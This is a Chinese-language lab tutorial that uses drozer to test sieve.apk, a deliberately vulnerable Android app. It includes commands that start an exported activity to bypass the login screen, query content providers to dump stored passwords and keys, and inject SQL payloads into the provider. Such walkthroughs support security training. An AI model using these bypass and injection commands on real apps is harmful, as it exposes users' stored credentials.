1. 安装
dorzer安装教程可以看这里:[APP测试] Android Activity页面劫持测试
测试apk:sieve.apk
2. 配置
第一次进sieve需要设置一个16位的密码和4位数的PIN码
随便输入密码:qwerty0123456789
PIN码:1234
全部设置完成后输入密码登陆进去,然后选择右上角添加数据,也是随便填
以上就是sieve.apk全部需要配置的东西了
3. sieve.apk安全测试
3.1 基本命令
3.1.1 列出模拟器安装的全部包名
dz> run app.package.list
3.1.2 根据关键字列出包名信息
//列出sieve的包名
run app.package.list -f sieve
3.1.3 查看包的详细信息
//查看com.mwr.example.sieve包的详细信息
dz> run app.package.info -a com.mwr.example.sieve
3.1.4 扫描sieve的可攻击面
//扫描sieve的可攻击面
run app.package.attacksurface com.mwr.example.sieve
3.2 Activity组件测试
3.2.1 查看可导出activity组件信息
//显示暴露的Activity信息
run app.activity.info -a com.mwr.example.sieve
下面暴露的这些activity是可以导出的,不需要任何许可(如登录时输入密码),所以我们通过drozer来调用他们
根据名字猜测,FileSelectActivity可能和文件选择有关,MainLoginActivity可能和主界面登陆有关,PWList可能和密码列表有关
3.2.2 app.activity.start测试
sieve在重新进入时需要输入pin码
这是可以使用app.activity.start来调用activity
//该命令会生成一个合适的intent来启动activity
//这里启动的时com.mwr.example.sieve包的PWList,相当于直接绕过了登陆
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
3.3 Broadcast组件测试
sieve不存在这方面的漏洞,跳过
3.4 Content组件测试
3.4.1 信息泄露
//列出可访问的URI和路径
dz> run scanner.provider.finduris -a com.mwr.example.sieve
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
3.4.1 SQL注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
列出表
根据参数构造语句
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "1) UNION SELECT * FROM SQLITE_MASTER WHERE type='table';--"
列出内容
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
其他快捷命令
//注入点位置扫描
run scanner.provider.injection -a com.mwr.example.sieve
//列出表信息
run scanner.provider.sqltables -a com.mwr.example.sieve
3.5 Service组件测试
3.5.1 查看Service信息
run app.service.info -a com.mwr.example.sieve
Drozer使用指南[download href="https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf" target="blank"]Drozer使用指南[/download]